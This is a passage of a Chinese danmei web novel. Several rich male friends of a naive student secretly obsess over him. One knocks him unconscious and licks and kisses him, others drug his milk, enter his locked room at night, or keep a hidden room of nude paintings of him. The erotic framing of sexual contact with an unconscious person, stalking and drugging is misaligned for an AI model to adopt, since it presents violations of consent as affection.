想起刚才在黑暗中被男人压在墙上亲的无助感,陈悯之又气又委屈,一双圆眼睛红红的,难得凶巴巴道:“亲都亲了,道歉有用吗!” 卫殊抬眸看向他,少年嘴巴到现在还肿着,被烛火照得红润润的,像是饱满成熟的樱桃,看上去香香软软的,漂亮又可怜,好想再亲 不对,不能再亲了,都怪他今晚使的力气太大,才让悯悯的嘴巴到现在还没消肿,都是他的错,悯悯怎么生气怎么骂他都是应该的。 卫殊这么想着,便也不辩解,垂着脑袋一副任打任骂的模样,像只惹主人生气了,连尾巴都耷拉下来的大型犬。 陈悯之却不再看他,摸着自己今晚被亲了两次的红肿嘴巴,红着眼睛跑上了楼。 回到卧室,陈悯之躺在床上,却怎么都睡不着,脑子里浮现的都是卫殊黯然神伤的脸。 他天生不喜欢与人起冲突,被逼急了才会跟兔子似的咬人一口,可咬完了又开始心软,觉得会不会把人给咬疼了。 他是不是有点过分了 毕竟卫殊都跟他道歉了,而且他还打了卫殊一巴掌,卫殊也没有生气,还给他送蜡烛卫殊卫殊也就是今天过分了一点,但平时都对他挺好的,他之前被变态欺负的时候还寸步不离地保护他 “卫殊”陈悯之脑子里天人交战着,竟无意识地把卫殊的名字说了出来。 左右睡不着,他从床上起身,坐在床边发呆,却忽然感到脚下一凉。 他低头一看,霎时魂飞天外。 黑暗中,一只苍白瘦削的手从床下伸出来,握住了他的脚踝。 30-40 第31章 第 31 章 扇爽了。 31 “啊啊啊啊啊啊啊啊啊鬼啊——” 陈悯之当场吓得尖叫, 拼命蹬腿想把那只鬼手甩开,可鬼手却将他攥得更紧了。 甚至,那苍白消瘦的指节, 还顺着他的脚踝往下摸, 冰凉粗糙的指腹触到了他的脚底。 少年生得白,连一双脚都是白皙莹润的, 足踝纤细得不盈一握,足弓弧度优美,脚趾饱满粉润,像是一颗颗小巧的珍珠。 鬼手先是抚过他的脚背,然后狎.昵地揉.捏着他的脚趾头,好像在把玩什么珍贵的艺术品,捏得爱不释手。 被捏着的陈悯之却毛骨悚然, 见挣脱不开, 便张嘴大叫:“救命!救——” 他呼救的声音戛然而止,鬼手不过在他脚底某个穴位上掐了一下,陈悯之便晕了过去。 惨白月光下, 窗帘被风扬起, 簌簌而动。 一团漆黑的影子从床底钻出来, 如山般从低到高隆起,在月光下现出成年男人的轮廓。 男人居高临下, 视线落在晕过去的少年身上, 犹如阴冷黏腻的蛇, 细细地爬过这具身体的每一寸。 他屈膝上床, 跪在少年身边,手掌抬起少年白皙细瘦的脚踝,放到唇边, 在圆润凸起的踝骨上轻轻落下一吻。 少年本就被掐了睡穴,又受了极大的惊吓,陷入了深度昏迷,对这种程度的触碰自然完全没有反应。 于是男人便愈发肆无忌惮起来,他手掌宽大,轻而易举地就能将少年的足拢在掌心,像握着一块白玉,湿.热的舌.尖从白玉上舔过,将少年的踝骨舔得湿.黏黏的,沾满晶亮的水渍,显得暧昧又色.气。 舔完了,又去亲吻小巧圆润的脚趾,在黑暗中嘬出细密的水声。 那张脸英挺又冷俊,瞳仁极黑,戴上眼镜时斯文禁欲,取下眼镜时却显得有些阴鸷。 因为天生肤色冷白,印在上面的巴掌印便格外明显,看上去有几分滑稽,偏偏他的神色又是近乎虔诚的。 “不要亲呜、不准再亲了”脚底本就是很敏.感的地方,被人这样弄着,少年即使在睡梦中也有些不舒服,从喉咙里发出一两声含糊的咕哝。 秦陌动作顿了一下。 片刻后,他冷冷吐出两个字:“就要。” 秦陌一想到少年刚才在酒桌上主动对男人献吻的场景,心脏就仿佛被一股妒火燃烧,又酸又痛。 不是直男吗?不是不喜欢男人吗?为什么就可以主动去亲卫殊? 他和他认识得比卫殊早那么多,怎么就不见他主动来亲他!他哪里比不上那个浑身横肉的体育生了! 再说,玩个游戏就可以随随便便去亲男人的嘴巴,那以后再被不怀好意的人随口哄两句,岂不是就能张开.腿给男人操.了! 这个傻子!笨蛋!不知廉耻的蠢兔子!总是要吃一点教训才能长记性! 秦陌眸光阴鸷,指节捏着少年的脚踝,语调森森:“再和一些乱七八糟的男人亲嘴,就给你这里套上链子。” 男人视线落到少年唇上,那双唇瓣今晚上被不少人吻过,动作还都很粗暴凶蛮,到现在都还肿着,红彤彤的,看上去娇弱又可怜,已经再经不起折腾了。 于是男人冷硬的一颗心,难得生出一丝怜爱来。 总归少年也没答应卫殊的告白,就暂且放过他。 秦陌没再去亲少年的唇瓣,而是捉起了少年的手,放到唇瓣,细细舔.吻起来。 从指缝到指尖,男人就像一只梭巡领地的兽类,用舌.尖留下自己的气味,每一寸都没有放过。 亲完了,又握着少年的手,眸色幽幽地看。 刚才,陈悯之就是用这只手扇了他一巴掌。 秦陌自小家规严苛,事事都被要求做到最好,稍有不慎便要受罚。 但毕竟是照着未来秦氏的继承人来培养,秦父依旧照顾到了他的自尊心,罚他时从不打脸,而是罚跪,或者用藤条抽他的脊背。 因此,陈悯之刚才挥出去的那一掌,是秦陌迄今二十多年的人生中,挨的第一个巴掌。 少年那一巴掌是在气极之下扇出的,使出了全力,但奇异地,秦陌却一点儿没感到疼。 反倒有一种很微妙的爽感。 少年知道他有洁癖,平日里都不怎么和他有肢体触碰,这竟算得上是和他难得的亲近。少年的手指又很软,温温热热的,落在他脸上时带起一股令人战栗的酥.麻,好像骨头都过电了一般。 再想到这一巴掌本来是要扇到卫殊脸上的,结果却落到了他脸上,被讨厌的是卫殊,被扇的却是他 爽上加爽。 男人唇角勾出一丝弧度,竟不自觉地笑起来。 就在这时,门口忽然传来敲门声,随之响起的是卫殊焦急的声音:“悯悯?你还好吗?” 已是深秋,更深露重,男人却只穿着一件工字背心就跑了上来,看着像是刚从被窝里出来,连衣服都来不及穿就过来了。 陈悯之和人交换后的房间位于三楼走廊最里边儿,而卫殊在二楼走廊入口处,距离算得上是最远,这房子的隔音又好,因此卫殊听到的第一声尖叫,声音遥远而模糊,连字句都听不清楚,他还以为自己是听错了。 但即使不确定,他还是从床上翻起身,手掌都握在门把上了,又想起陈悯之生气瞪着他的一双眼,对着他说不喜欢他,不要他。 少年现在多半是不想看见他的。 直到听到第二声短促模糊的尖叫,卫殊才陡然回神,风一般地冲上了楼,可他跑得急,上楼才想起断电了,屋子里一片漆黑,连房间门牌号都看不清,又着着急忙慌地下去拿手机开手电筒。 等他折腾两趟上来,屋内早已恢复了安静。 “悯悯?你在里边吗?” 卫殊叫了两声没反应,又把耳朵贴在门上细听,没听到什么动静。 该不会是做了噩梦吧? 陈悯之之前和他聊天时说过,自己有时候会做噩梦,梦见有狗咬他。 卫殊担心他遇到危险,想直接把门踹开,又怕陈悯之是真做了噩梦后又睡着了,他本就讨厌自己,自己还大半夜上来踹门,以后便连朋友都没得做了。 思索片刻,卫殊决定绕到别墅后面的小花园,从小花园里翻窗进去。 他只是进去看看悯悯有没有危险,别的什么都不做,卫殊对自己说。 陈悯之的卧室位于三楼,但对于四肢修长有力,擅长攀爬的男人来说根本不算难事儿。 卫殊很快便从没关紧的窗户翻进了屋。 月光下,少年平躺在床上,被子盖得好好的,只露出一张白皙柔软的小脸。 看上去什么都没发生,应该只是做了噩梦。 在梦里,那双清秀的眉也微微皱着,心情不太好的样子。 一想到少年是因为什么才心情不好,卫殊便垂下眸,他就这么垂着手站在少年床边,好像这样便能低头认错,取得少年的原谅似的。 卫殊盯着那张脸看了许久,最终还是没忍住,在陈悯之床前半跪下.身,握着少年温热柔软的手,在那掌心舔了一口。 他将那只手放到自己脸侧,眷恋一般地挨蹭起来。 卫殊目光灼灼地望着睡梦中的人,声音低哑地叫道:“老婆。” * 第二天,陈悯之和联谊的组织者说了声自己身体不适,然后独自收拾好行李,一大早就提前离开了山庄。 他没有告诉卫殊。 卫殊打来电话,他也没有接,只是在微信上回复卫殊发来的消息,告诉卫殊他们先分开冷静一下,让他这段时间都别来找他。 然后就把和卫殊的聊天框设置成了消息屏蔽。 至于那天晚上出现的的鬼手,陈悯之只当自己是喝多了酒,又在当天接受了太多信息刺激才做的噩梦,倒也没放在心上,毕竟他第二天醒来什么事也没有。 可卫殊依旧每天来他宿舍楼下等他。 大概是怕惹他生气,男人也不上楼来他寝室房间找他,就这么站在宿舍楼下巴巴地朝上面望着,身形高大却落寞。 陈悯之本就不是铁石心肠的人,加上还总觉得自己打了卫殊巴掌,有些过意不去,其实早就心软消气了。 他只是不知道该怎么去面对卫殊。 他害怕自己一心软,又会让卫殊误会得更深。 于是他开始躲着卫殊,只要卫殊在楼下,他就不下楼,连课也不去上,反正秦陌的笔记做得很详细,他可以去抄他的。 但后来陈悯之还是觉得这样有点影响学习,便想了另外一个办法——直接不回宿舍。 他原来只是周末才在顾明珏家住,现在则每天都住在了男人家里,反正顾明珏家离学校近,也不影响上课。 这一周,陈悯之在顾明珏家过得很舒心,顾明珏为人温柔体贴,相处起来让人觉得如沐春风,一点压力也不会有。 他家里还有私人观影室,两人没事儿的时候就窝在一起看电影,打游戏,要不就是乐呵呵地和小猫儿玩儿,日子过得好不快活,让陈悯之渐渐忘记了前段时间的不开心。 可有人却不高兴了。 这天陈悯之回寝室拿书,一进门就感到一股异乎寻常的低气压,抬头,正对上男人阴沉的眼眸:“你还知道回来?” 秦陌漆黑的眼睛盯着他:“成天往顾明珏家跑,不知道的还以为你嫁去了顾家。” 陈悯之莫名其妙:“你在说些什么啊,我是男的,怎么可能嫁给顾明珏。” 秦陌气不打一处来。 虽然陈悯之没说,但他是旁观了全程的人,自然知道陈悯之是在躲卫殊,可陈悯之怎么就知道往顾明珏家躲,不知道往他家躲? 他家陈悯之又不是没有去过,不比顾明珏家差,要是陈悯之嫌弃,他也可以给他换个更大的房子。 可陈悯之眼中好像就只有顾明珏一样。 秦陌盯着少年脖子后面新鲜的,肆无忌惮彰显着占有欲的吻痕,声音近乎咬牙切齿:“陈悯之,我是该说你蠢还是说你天真。” 陈悯之撇撇嘴巴:“随便你。” 反正秦陌也不是第一次说他笨了,今天又不知道发什么疯,随他去吧。 秦陌忽然站起身,按着他的脖子,将他压到镜子面前,凉凉道:“你真以为你脖子上这些痕迹,是蚊子咬的?” 陈悯之睁着一双清澈的圆眼睛,迷惑地望着男人:“不然呢?” 秦陌:“你已经买过蚊香液了,不是吗?” 陈悯之惊讶:“你怎么知道?可我换了好几种牌子的蚊香液,效果都不是很好” 秦陌冷笑一声:“不如你试试拿一天晚上装睡,看看会发生什么。” “记住,睡前顾明珏给你的任何东西,都不要吃。” 第32章 第 32 章 一整面墙的,他的裸.体…… 32 晚上, 陈悯之照旧回到顾明珏家住。 他的睡眠向来很好,通常沾床就能睡着,可今天陈悯之躺在床上, 一双眼睛却睁得圆圆的, 望着黑漆漆的天花板出神。 秦陌什么意思?他是在说顾明珏这个人有问题? 可顾明珏明明一直都对他很好从他刚进校就一直在帮他,后来又给他提供了轻松又高薪的工作, 他请假那么多次也没扣过他钱 这时,脑海里有一个声音说:卫殊也一直对你很好,后来他就说他一直把你当老婆。 真的有人会无缘无故地对另一个人好吗? 陆承轩对他好,是因为他们是从小到大的朋友,卫殊对他好,是因为他喜欢他。 那顾明珏对他这么好又是为什么? 秦陌秦陌其实也对他挺好的,但比起顾明珏和卫殊这种超乎寻常的“好”, 秦陌对他的好似乎更有边界一些, 偶尔还会对他冷脸说一些不好听的话 但或许,像秦陌这样的才更符合正常朋友之间的相处模式呢? 不对,陈悯之甩甩脑袋, 他再怎么也不能因为别人的一句话就随便怀疑自己兄弟。 不过, 他虽然没有完全相信秦陌, 但先后经历了被变态盯上和被卫殊告白后,这颗迟钝的脑子终于聪明了一回, 多了个心眼儿, 没有喝顾明珏晚上递给他的牛奶。 他当着顾明珏的面说一会儿喝, 却趁着男人不注意偷偷倒掉了。 顾明珏下楼扔完垃圾回来, 拿着他的空杯子去洗,看上去是没有起疑心。 就是总觉得有点对不起顾明珏,他对他这么好, 他却这样怀疑他 陈悯之脑子里一通胡思乱想,把自己都给想累了,他眼皮一闭一闭的,就在快要睡着的时候,忽然听到门口传来滴答一声轻响。 那声音很微弱,在寂静的夜晚听起来却格外清晰,直让陈悯之毛骨悚然,困意一瞬间消失无踪 顾明珏为什么能打开他的卧室门? 他睡前明明是锁上的,每天都有锁。 但线下已经顾不得去想原因,男人的脚步声敲在地板上,在黑暗中一步步朝他逼近,声音很轻,听在陈悯之耳里却如同催命的丧钟。 他连忙把双眼闭得紧紧的,竭力保证自己面部表情的平静,假装已经睡熟了,可实际上放在被子下面的手都在发抖。 顾明珏顾明珏为什么要大半夜到他房间里?他要对他做什么? 夜里凉,陈悯之睡觉又没有开空调的习惯,于是男人身上带有温度的气息靠近时便格外明显,他明明闭着眼睛,却能感受到男人在弯下腰来,微有些沉的呼吸离他越来越近,几乎要贴到他的脸上 陈悯之心跳骤然加速,一颗心几乎要从喉咙里跳出来,他害怕得几乎就要装不下去了,想现在就跳起来落荒而逃。 可下一刻,黑暗中却忽然传来男人的一声低笑。 “真是不乖。” 陈悯之脑子里嗡的一声——完了,被发现了。 就在他准备跳起来逃跑的时候,又听耳侧传来一声无奈的叹息:“怎么又踢被子了呢。” 随后,他感到一双手牵起他随意搭在胸口的被子,往上提了提,将被角围绕着他的脖子严严实实地掖好了。 “晚安,悯之。”男人对着“熟睡”中的他低声说,随后,轻手轻脚地离开了卧室。 直到卧室门咔哒一声重新合上,陈悯之提到嗓子眼儿的一颗心才放下来。 他睁开眼坐起身,一摸背上,薄薄一层睡衣已经被冷汗浸透。 少年脸色苍白,靠着大口喘息才能平复过快的心跳。 如果是几个月前的陈悯之,或许会感叹顾明珏对自己真好,怕自己晚上踢被子感冒,还专门来给他掖被角。 但在经历了一些事情后,他到底不再像是从前那般迟钝了。 再好的兄弟,也不会每天晚上都潜入兄弟房间里替兄弟掖被子。 ——除非兄弟对他别有用心。 * 陈悯之一夜未眠。 但到了第二天早上,他却没按照往常的时间起床,而是故意呆在房间里不出来,装作自己在睡懒觉。 今天是周一,他知道顾明珏每周一早晨都会去公司开例会,因此只要等到顾明珏走了再出卧室,就能避免与男人碰面。 但他不出去,顾明珏却来敲他的房门。 “悯之,起来吃饭了。” 门外的男人声音很温柔,听在陈悯之耳朵里却如同恶魔的低语,仿佛在引诱着他从安全屋里走出去,踏入魔鬼为他布置的罗网中。 尽管陈悯之自己也觉得这种想法可能有些夸张了,但昨晚的事情带给他的阴影实在太大,不是因为顾明珏半夜帮他掖被角,而是他明明锁好了的房门,顾明珏却可以随时随地的轻易打开,并且这件事顾明珏从来没有和他说过。 这让陈悯之很没有安全感。 他也不敢出去面对顾明珏,他知道自己不擅长掩饰和撒谎,很容易就会被识破。 于是他只能含糊着嗓音,装作还没睡醒的样子,对着门外喊道:“唔我再睡一会儿。” 门外传来顾明珏体贴的提醒:“你今天有早八。” 陈悯之噎了一下。 顾明珏对他的课表怎么记得比他自己还清楚。 他仍旧捏着还没睡醒的嗓音:“知道了,我一会儿就起来。” 门外的顾明珏见状,也没有再坚持,声线依然柔和:“好,那我先去公司了,饭菜在桌上,你起来记得热了再吃。” 陈悯之咕哝着:“嗯嗯,知道了。” 他又在床上挨了一会儿,直到听到大门关上的声音,再从窗户看到楼下男人走出单元楼的身影,才迅速从床上爬起来换衣服。 草草洗漱完,连早饭也没顾得上吃,就急急忙忙收拾东西跑了。 跟逃离什么狼窝一样。 去学校上完课,陈悯之也没回宿舍,而是直接去了火车站。 他买了今天下午的车票,打算去隔壁邻省陆承轩家暂避。 想到陆承轩,陈悯之漂浮不定的一颗心终于有了一点安慰。 幸好,他还有陆承轩这个从小到大的好朋友,其他人对他怎么样他不能确定,但陆承轩一定是真心对他好的。 得知他要来的消息,陆承轩很高兴,在电话里兴高采烈地问他哪天到,可知道时间后,语气又浮现出懊恼。 陈悯之问他怎么了,陆承轩只含糊地回道:“今天我不在家呢哥哥,要晚上点儿才能回来。” 陈悯之:“没事,我先回家等你吧。” 上次过来的时候,陆承轩在智能门锁上录入了他的指纹,这样他可以随时过来,陆承轩不在家也不用担心进不了门。 陈悯之:“你几点回来?晚饭在家吃吗?” 这句话问出去,却没立刻得到回答。 陈悯之不知道,电话那头的人此刻脸上浮现出一种浓浓的甜蜜,沉浸在这种幸福中,竟忘了回答他的话。 好像温柔的妻子在问丈夫什么时候回家吃饭哦,陆承轩羞涩地想着,他和哥哥真是天造地设的一家人。 该死,要不是陆父今天临时叫上他去外省出差,他就可以在家好好陪他可爱的小妻子了。 他还是得早点把这老登踢下去,自己掌权才好。 陆承轩暗自下了决心。 半天没听到声音,陈悯之以为电话断线了,疑惑地喂了两声:“听得见吗?” 陆承轩:“刚才信号不好,哥哥你说什么,再说一遍呢?” 陈悯之:“我问你今晚几点回来,还在不在家吃饭?” 那头陆承轩的声音听上去似乎更愉悦了:“我大概七点到家,辛苦哥哥在家等一会儿了,哥哥晚上想吃什么?我回来做。” 陈悯之想了想:“你回来再做饭太晚了,我做吧,你有没有什么想吃的?“ 听他说要做饭,陆承轩立刻斩钉截铁地拒绝:“不行,你上次就把自己手给切了。” 陈悯之心虚:“那次是意外,这次我会注意的。” 陆承轩还是态度坚决:“不可以,哥哥的手不是用来做饭的。” 陈悯之觉得这话有些奇怪:“我的手不用来做饭用来做什么?” 用来给我舔。 陆承轩在心里回答。 哥哥的手白白软软的,洗过澡后还香香的,舔起来又嫩又滑,令人爱不释口总之,这就是一双合该被人精心照料宠爱着的手,不可以干一点儿粗活。 不过如果是给他摸的那种粗活又另当别论 陆承轩脑子里瞬间闪过一系列不可描述的画面,他脸颊爬起兴奋的烫意,嘴里竟难以自抑地漏出一声低.喘。 陈悯之:“什么声音?” 他拿着手机疑惑地瞅了一眼,皱起眉头。 怎么好像有什么奇怪的东西闪过去了,不确定,再听听。 陆承轩咳了两声:“没什么,应该是信号不好吧,哥哥你晚上别做饭,我在外面带饭回来,我们一起吃。” 见他坚持,陈悯之便也作罢,正好他昨晚上一宿没睡,还去上了早八,人也累了。 到了陆承轩家,陈悯之先是去床上睡了一会儿,睡醒发现才五点,距离陆承轩回来还有两小时。 左右无聊,他便去了陆承轩的书房,打开电脑打游戏。 但他心里揣着事儿,打的时候注意力也不集中,一会儿想着顾明珏,一会儿想着卫殊,操作失误了好几次,被野排队友开麦骂他菜。 连输几次陈悯之便也没了兴致,关了电脑,趴在陆承轩的书桌上发呆。 与本人多话又黏人的性格不同,陆承轩的书桌倒是很简洁,上面随意堆放着几本书,文件夹,还有一些摆件。 其中一个摆件吸引了陈悯之的注意,是一只白玉做的貔貅,玉质通体透润,雕工精美,眼睛处是两颗碧绿的小圆珠,很是漂亮。 陈悯之想拿起来仔细瞧瞧,却发现貔貅底座是和桌子焊在一起的,拿不动。 于是他只好趴在桌上摸貔貅的脑袋,摸完脑袋摸尾巴,摸完尾巴摸眼睛 诶?这眼睛怎么还能动? 陈悯之拨动着貔貅的眼珠子,心想这玉雕还做得挺精致,下一刻,却听见身后传来一阵沉闷的轧轧声,像是什么巨大物体被挪开的声响。 他回头一瞧,只见后面的落地书架从中分开,向内旋转了一个角度,出现一条可供一人通过的缝隙。 陈悯之心头一奇。 陆承轩竟然在书房里建造了一个密室? 缝隙里是黑的,从外面看不到里面有什么,却也因此更显得神秘。 我就是进去看看,别的什么都不做,陈悯之在心里说。 密室里安装的是感应灯,他一走进去,头顶灯光便亮了起来。 然而当看清周遭的那一刻,陈悯之如遭晴天霹雳,脸色惨白地跌坐在地。 他看到了一整面墙的,他的裸.体。 第33章 第 33 章 诱拐无知小兔。 33 密室有三面墙, 每一面都装修华丽,贴着花纹复古的壁布。 与密室之外温馨明亮的装修风格不同,这里的装饰充满了繁复华贵的巴洛克风格, 墙上挂着的画框上镶满了宝石, 将画框中的人衬得肤色粉白,面庞柔美端丽, 仿佛从古典油画中走出的圣母,或是天使。 客观来讲,这些画都画得十分漂亮,笔触细腻精致,画出的人物形神兼具,仿佛要跃纸而出,足以见得作画者精湛到接近完美的画工。 可陈悯之却没有一点儿欣赏的心情, 因为这每一张画上, 画的都是他的脸! 各种各样的,各种姿态和表情的,双眼迷离, 脸颊晕红的;嘴唇半开, 露出嫩.红滴水的舌.尖的;双腿大张, 神色天真地朝人袒.露着身体的 许多神态连他自己都不知道自己什么时候有过,不对, 他是根本就没有过!这每一张画, 每一道笔触里, 充斥着的都是作画者下.流的臆想! 陈悯之脸色惨白, 头皮止不住地发麻,血液仿佛冻结成冰。他瘫坐在地上,几乎以为眼前展现的是一场荒诞恐怖的噩梦。 他手脚僵硬地在地上瘫坐了不知多久, 四肢才渐渐恢复了一点知觉。 陈悯之艰难地撑起身体,想要立刻逃离这个恐怖的密室,慌慌张张之下一个踉跄,撞倒了什么东西。 那东西“砰咚”一声砸在地上,裂成大大小小的白色碎块儿。 那是一座石膏雕像。 陈悯之的身形定住了。 直到此时他才注意到,画框下面的地板上,堆放着许多大大小小的石膏雕像,有的是全身的,有的是半身的,还有一些局部的,比如一条腿,一只脚,或是一只手,它们被错落摆放在鲜红的波斯地毯上,仿佛鲜血中散落的断肢。 这些雕像的动作神态各不相同,而唯一相似的是,它们都有着他的脸,并且身上也全都一丝.不挂。 一阵反胃感突然涌上喉咙,陈悯之再也控制不住,撑着地板干呕起来。 他本就没吃早饭,中午也慌里慌张的,只啃了个面包就去了火车站,到现在肚子里根本没什么东西,呕也没呕出什么,只把自己一张脸呕得愈发苍白发青,倒和那些白惨惨的石膏像有的一拼了。 好一会儿才缓过气来,陈悯之忽地想起什么,拿起手机看了一眼,脸色更加惨白。 现在已经六点了,再过一个小时陆承轩就会回来,如果他提前一点,甚至用不了一个小时 不行,他不能让陆承轩发现他来过这里。 陈悯之看着那碎了一地的石膏像,拼命逼着自己冷静下来,他从地上撑起身体,从密室跑出去,拿了一个大号垃圾袋回来,把那些白色碎块儿捡起来,扔进垃圾袋里,然后退出了密室。 站在书桌前,陈悯之此刻再看那只雕工漂亮的白玉貔貅,只觉得阴森可怖,连那碧绿的眼珠也仿佛变得摄人,仿佛毒蛇盯上猎物时冰冷的眸子。 他忍着害怕与反胃,伸手再次拨动了一下那颗眼珠,只听一阵轧轧声,两侧的书柜再次收拢,严丝合缝,看不出一点儿端倪。 陈悯之抓着垃圾袋,慌不择路地跑出了门。 他随手拦下一辆出租,直奔火车站而去。 * 晚上六点五十分,陆承轩推开了家门。 他手里提着从星级酒店打包回来的饭菜,脸上挂着愉快的笑容,冲着屋内喊道:“哥哥,我回来啦!我买了你喜欢吃的蒜蓉大虾!” 屋内空荡荡的,只有他自己的回声。 陆承轩歪了歪脑袋。 哥哥不是说他已经到家了吗?是睡着了? 把打包盒放在餐桌上,陆承轩推开了客房的门。 床铺凌乱,被子随意掀开着,能看出有人睡过的痕迹,可现在那人却不知所踪。 “哥哥?”陆承轩又对着空荡荡的屋子喊了几声。 依然没有人回应。 他转头去了书房,然后在书房里发现了指示灯闪着红光的电脑。 因为长时间无操作,电脑自动息屏了,陆承轩解锁后,发现网页还停留在游戏界面。 他眼珠子转了转,若有所思。 随后,陆承轩拨动白玉貔貅的眼珠,打开密室走了进去。 密室里依旧干净整洁,密密麻麻地堆放着画框与石膏像,每一件都是他精心雕琢出的珍品,只不过 似乎少了一台呢。 陆承轩脸上浮现出懊恼。 那可是他上周刚雕出来的那台呢,最近他刚开始接手陆家的事务,忙得抽不开身,都还没来得及好好欣赏。 哥哥怎么偏偏挑了这台呀,真可惜。 不过是哥哥的话,也没关系,哥哥砸多少台他都不会生气的,面对哥哥,他有着无尽的耐心,可以再重新雕很多很多新的出来。 高大的男生跪下.身来,趴在地毯上,将一只手垫在下巴底下,像个寻找玩具的小孩子一般,睁着那双极具少年感的明亮眉眼四处张望。 没多久,他就在高低错落的雕像之间,发现了一片很小的石膏碎块儿。 那张脸上顿时浮现出一抹纯真的笑容,他伸长了手,把那片碎块儿捡回来,握在手心里,目光温柔又甜蜜地望着它,仿佛透过他望着自己热恋的爱人一般。 他说:“找到你啦。” * 学校外的商业街上,陈悯之徘徊在林立的商铺间,脚步虚浮,仿佛一只无处落脚的鸟儿,茫然而无所依。 他已经不知道该去哪儿了。 人海茫茫,没有一处是他的归所。 他自以为的好朋友,好兄弟,个个都对他怀揣着别样的心思,他从小到大当做亲弟弟看待的发小,原来一直都把他当做意.淫的对象,满足自身下.流的幻想。 他生来就被亲生父母丢弃,变成了孤儿,所幸遇到了心地善良的养父母,让他在柔软的爱里长大。 后来,养父母也去世了,所幸他还有姥姥,还有一个从小到大的好朋友。 再后来,他又交到了更多的好朋友,觉得自己的生活很幸福,也很满足,对未来充满了乐观的期待。 而现在,上天告诉他一切都是假的,他没有家人,没有朋友,自始至终都是孤身一人。 或许这才是他原本的命运,被抛弃,被背叛,什么都不能抓住,什么都不能拥有。 陈悯之没有回学校,学校里有卫殊,现在可能还有发现他逃跑的顾明珏,他只能去找了一家酒店,暂且住下来。 一整天他都窝在酒店里,连课也没去上,像只被外面的豺狼虎豹吓坏了,缩在自个儿窝里一步也不肯踏出来的兔子。 陈悯之拉黑了陆承轩和顾明珏的所有联系方式,只剩卫殊和秦陌的还留着,不过卫殊的消息被他屏蔽了,秦陌倒是有给他发消息,问他去哪儿了,不过他一条也没有回。 他当然知道逃避是没有用的,他告诉自己他只是在想办法,慢慢地想办法,但两天过去了,他什么办法都没想出来。 第二天晚上,有人敲响了他的房门。 陈悯之以为是点的外卖到了,跑过去开门,却在门外看到了面色阴沉的男人。 是秦陌。 不过秦陌脸色再阴沉,有了另外几个的对比,此刻在陈悯之眼里也显得不那么可怕了。 陈悯之睁大眼睛:“你怎么找到我的?” 秦陌声音冷淡:“你以为查你的行踪,还需要找?” 陈悯之:“ ” 好吧,像秦陌这种有权有势的公子哥,想找他一个平头小老百姓自然是不费吹灰之力的。 秦陌:“为什么不回我消息?” 陈悯之闷闷道:“不想回。” 秦陌气极反笑,惹陈悯之不开心的是卫殊又不是他,怎么连他也一起躲上了。 秦陌:“我让你试试在顾明珏家装睡,你试了吗?” 陈悯之攥着门把手,闷着个脑袋不说话。 但秦陌观他神色,心下了然。 应该是已经试过了,并且察觉出了什么。 秦陌:“现在那三个人都在找你,我暂时把你的踪迹掩盖下来了,但你应该知道的,按照他们的身份,要查到你的住址不是难事。” 陈悯之疑惑道:“他们的身份?” 顾明珏和卫殊他知道,都和秦陌一样是豪门的贵公子,但陆承轩有什么身份?他不就是家境稍微好一点的普通人吗? 秦陌看他表情,立刻明白了他在疑惑什么,冷笑一声:“陆承轩竟然到现在都还瞒着你。” 陈悯之心跳蓦地加速:“你说清楚,他瞒着我什么?” 秦陌:“知道陆氏吗?” 陈悯之点点头,南方地区一家独大的药企,在全国都赫赫有名。 秦陌:“他是陆氏养在外面的私生子,陆家继承人自小身体孱弱,他原本就是被陆家养来做替补用的。半个月前陆家少爷病重去世,现在,他成了陆氏唯一的继承人。” 陈悯之呆愣愣地睁着眼睛,心底像是被寒凉的水淌过。 他忽然明白了,为什么陆承轩小时候都是和保姆生活在一起,他从来没见过他的母亲,只有一个衣着华贵的男人偶尔来看他一下,又很快便离开。 而高考结束后,陆承轩没有按照原本的约定和他报考同一所大学,并且在高考后忽然消失了两个月的事,似乎也有了解释。 那时,他应该是被陆家召回去了。 可是为什么这么多年,陆承轩都没有告诉过他这些事? 还是说,陆承轩其实从来、从来都没有真正把他当成过朋友。 陈悯之站在原地,神色惶惶,茫然不知所措。 半晌,还是秦陌先开口:“要我帮你吗?” 第34章 第 34 章 我是如此卑劣,如此贱俗…… 34 陈悯之跟着秦陌来到了一座半山别墅。 这座别墅位于城郊, 绿树掩映,环境清幽怡人。 这是秦陌的私宅,他喜静, 偶尔会来这里住上几天。 陈悯之望着偌大的豪宅, 发现有钱人的生活真是超乎他的想象。 车子光是从大门入口开进来就开了将近二十分钟,宅子后面的高尔夫球场比学校的两个操场加起来还大, 这么大的宅子,居然还在入口处还每隔几十米就配备了安保人员,个个人高马大,手上拿着漆黑的电棍。 明明这里环境优美,陈悯之却不知为何有些心生不安。 秦陌注意到他的神色,走上前:“这里安保措施很严密,你可以安心住下, 他们不会轻易找到你。” 顿了顿, “就算找到了,也进不来。” 陈悯之点了点头。 但现在,他能信任的朋友也只剩下秦陌了。 陈悯之又犹犹豫豫地问:“那我怎么去学校上课?” 秦陌道:“你想去的话, 平时就跟我一起, 会有专门的司机接送。如果不想去, 老师那边我会帮你请病假,课堂笔记我做好了带回来给你, 学不懂的地方, 可以来问我。” 陈悯之想了想:“那我还是跟你一起去上学。” 他已经欠好几节课了, 不能再请假了。 秦陌:“好。” 进了屋, 陈悯之被安排在了二楼的一间卧室。 卧室很宽敞,有独立卫浴,还有一个小阳台, 可以俯瞰到别墅外面的花园,在这里住着应该会很舒适。 秦陌道:“我的房间在你隔壁,有什么事可以随时叫我。” “另外,有什么想吃的想用的,尽管和管家说。” 陈悯之点点头,他这些日子过得大起大落,现在好不容易安定下来,心头不禁涌起一阵感动,看了眼秦陌,欲言又止的模样。 秦陌:“怎么了?” 陈悯之摇摇头:“没怎么,就是你为什么对我这么好?” 秦陌神色一顿。 尽管极力掩饰,少年眼底藏着的怀疑不定依然很明显,就像一只惊弓之鸟,急切地需要有人对他说点什么,来打消他的疑虑,安定他的心神。 秦陌知道,陈悯之此刻最想听到的,应该是“因为我们是朋友”之类的话。 可他没有这么说。 他只是望着少年的眼睛,字句坚定地说:“因为你值得。” * 陈悯之每天和秦陌一起去上课的计划还是没有成功,因为坐上秦陌的车去学校的第一天,他就看到了等在教学楼外的陆承轩。 明明还坐在车里,车窗也是单向玻璃,陆承轩无论怎样也看不见坐在车里面的他,但陈悯之依然一瞬间汗毛倒竖,战战兢兢地扯着秦陌的袖子说要回去。 秦陌瞥了眼他苍白的脸色,没说什么,直接让司机掉了头。 回到家,见少年脸色好一些了,他才问:“你和陆承轩吵架了?” 陈悯之没说话。 秦陌淡淡道:“你们不是朋友吗。” 